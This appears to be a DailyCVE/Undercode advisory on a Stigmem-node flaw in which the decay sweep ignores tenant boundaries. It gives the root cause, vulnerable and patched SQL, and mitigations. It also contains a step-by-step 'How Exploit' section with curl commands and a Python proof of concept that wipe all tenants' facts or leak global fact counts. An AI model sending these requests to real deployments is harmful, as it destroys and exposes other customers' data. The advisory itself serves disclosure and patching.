Stigmem-node Multi-Tenant Decay Sweep Cross-Tenant Data Destruction & Information Disclosure (High) -DC-Jun2026-514

Listen to this Post

How the Mentioned CVE Works

On a multi-tenant Stigmem node, the decay sweep mechanism—designed to periodically expire stale facts and prune low-confidence entries—lacked proper tenant isolation. The vulnerability resides in lifecycle/decay.py, where two candidate-selection functions, `_select_ttl_candidates` and _select_confidence_candidates, constructed SQL queries without a `tenant_id` predicate. Consequently, when an authenticated caller holding a write credential for a single tenant invoked the decay sweep via POST /v1/decay/sweep, the sweep operated across all tenants’ facts rather than being scoped to the caller’s tenant.
The root cause is twofold. First, the candidate-selector queries in `lifecycle/decay.py` omitted any `tenant_id` filter, allowing the database to return records from every tenant. Second, the caller’s tenant identity was not propagated into the sweep execution context—neither `run_decay_sweep` nor its async worker `_decay_job_worker` received the `tenant_id` from the request. This means a tenant-B user could trigger a sweep that deleted or reported on tenant-A’s data.
The impact is severe depending on the sweep parameters. A sweep with `ttl_seconds=0` expires all facts across all tenants, resulting in complete cross-tenant data destruction (integrity and availability loss). A `dry_run` sweep, while not destructive, returns a global candidate count—effectively acting as a cross-tenant existence/volume oracle, revealing how many facts exist across the entire node (information disclosure).
This vulnerability is only exploitable on deployments running the opt-in stigmem-plugin-multi-tenant, which enables multiple tenants on a single node. Default single-tenant deployments have only tenant="default"—there is no second tenant to cross, so they are unaffected. The severity is rated HIGH for multi-tenant deployments where the plugin is intended to enforce isolation. The fix in `0.9.0a12` (PR 728) threads `identity.tenant_id` into the sweep and worker, adds `AND tenant_id = ?` to candidate selectors and graph-sync, and extends CI guards to scan `lifecycle/` for regressions. No workarounds exist other than upgrading.

DailyCVE Form

| Field | Value |

|-|-|

| Platform | Stigmem-node |

| Version | < 0.9.0a12 |

| Vulnerability | Cross-tenant data destruction |

| Severity | HIGH |

| Date | 2026-05-19 |

| Prediction | 2026-05-26 |

What Undercode Say

Analytics from the advisory:

  • Attack Vector: Network (HTTP POST to /v1/decay/sweep)
  • Prerequisites: Valid write credential for any single tenant; multi-tenant plugin enabled
  • Exploitability: Low complexity — single authenticated request
  • Confidentiality Impact: Low (dry_run reveals global fact counts)
  • Integrity Impact: High (ttl_seconds=0 deletes all facts)
  • Availability Impact: High (complete data loss across tenants)
  • Scope: Changed (affects resources beyond the caller’s tenant)

Bash commands and codes related to the vulnerability:

Check if multi-tenant plugin is enabled
grep -r "stigmem-plugin-multi-tenant" /etc/stigmem/plugins.conf
Verify current version
pip show stigmem-node | grep Version
Exploit trigger (destructive - DO NOT RUN IN PRODUCTION)
curl -X POST http://stigmem-node:8080/v1/decay/sweep \
-H "Authorization: Bearer $TENANT_B_TOKEN" \
-H "Content-Type: application/json" \
-d '{"ttl_seconds": 0}'
Dry-run oracle (information disclosure)
curl -X POST http://stigmem-node:8080/v1/decay/sweep \
-H "Authorization: Bearer $TENANT_B_TOKEN" \
-d '{"dry_run": true}'

Vulnerable code snippet (pre-patch):

lifecycle/decay.py - vulnerable
def _select_ttl_candidates(conn, threshold_ts):
MISSING: AND tenant_id = ?
return conn.execute(
"SELECT id, fact_key FROM facts WHERE valid_until < ?",
(threshold_ts,)
).fetchall()
def _select_confidence_candidates(conn, threshold):
MISSING: AND tenant_id = ?
return conn.execute(
"SELECT id, fact_key FROM facts WHERE confidence < ?",
(threshold,)
).fetchall()

Patched code (0.9.0a12):

lifecycle/decay.py - patched
def _select_ttl_candidates(conn, tenant_id, threshold_ts):
return conn.execute(
"SELECT id, fact_key FROM facts WHERE tenant_id = ? AND valid_until < ?",
(tenant_id, threshold_ts)
).fetchall()
def _select_confidence_candidates(conn, tenant_id, threshold):
return conn.execute(
"SELECT id, fact_key FROM facts WHERE tenant_id = ? AND confidence < ?",
(tenant_id, threshold)
).fetchall()

How Exploit

  1. Identify target — Confirm the node runs `stigmem-plugin-multi-tenant` and has at least two tenants.
  2. Obtain credentials — Acquire a valid write credential (API token or session) for any single tenant (e.g., Tenant-B).
  3. Craft request — Send a `POST /v1/decay/sweep` with `ttl_seconds=0` (destructive) or `dry_run=true` (information disclosure).

4. Observe outcome:

– `ttl_seconds=0` → all facts across all tenants are permanently deleted.
– `dry_run=true` → response returns global fact count, revealing volume of all tenants’ data.
5. Repeat — The vulnerability can be exploited repeatedly until patched.

Proof-of-concept (Python):

import requests
TARGET = "http://stigmem-node:8080"
TOKEN = "tenant_b_write_token"
Destructive sweep
resp = requests.post(
f"{TARGET}/v1/decay/sweep",
headers={"Authorization": f"Bearer {TOKEN}"},
json={"ttl_seconds": 0}
)
print(resp.json()) All tenants' facts expired
Information disclosure (dry_run)
resp = requests.post(
f"{TARGET}/v1/decay/sweep",
headers={"Authorization": f"Bearer {TOKEN}"},
json={"dry_run": True}
)
print(resp.json()) Global candidate count (cross-tenant)

Protection from this CVE

| Mitigation | Description |

||-|

| Upgrade | Upgrade to `stigmem-node >= 0.9.0a12` immediately. Run pip install --upgrade --pre stigmem-node. |
| Single-tenant only | If multi-tenancy is not required, do not enable stigmem-plugin-multi-tenant. Default single-tenant deployments are unaffected. |
| Network controls | Restrict access to `/v1/decay/sweep` endpoint to trusted administrative networks only. |
| Audit logs | Monitor for unexpected decay sweep invocations, especially with `ttl_seconds=0` or dry_run=true. |
| CI/CD guard | Ensure `check_fact_query_tenant_scope.py` runs in CI to catch missing `tenant_id` predicates in future code. |
| Backup | Maintain regular backups of fact data to recover from potential cross-tenant deletion. |

Impact

  • Cross-tenant data destruction — A sweep with `ttl_seconds=0` expires all facts across every tenant on the node, causing irreversible data loss (integrity and availability).
  • Cross-tenant information disclosure — A `dry_run` sweep returns the global candidate count, allowing a caller to infer the volume of facts stored by other tenants (confidentiality breach).
  • Isolation breakdown — The multi-tenant plugin, designed to enforce tenant isolation, is completely bypassed in this code path.
  • No workaround — Other than upgrading, there is no configuration change or operational mitigation that prevents this vulnerability on multi-tenant deployments.
  • Affected environments — Only nodes with `stigmem-plugin-multi-tenant` enabled and at least two tenants are vulnerable. Default single-tenant nodes are not exploitable.
  • Patch effectiveness — `0.9.0a12` threads `tenant_id` through the sweep and worker, adds `AND tenant_id = ?` to all candidate selectors and graph-sync, and extends CI regression guards to prevent recurrence.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top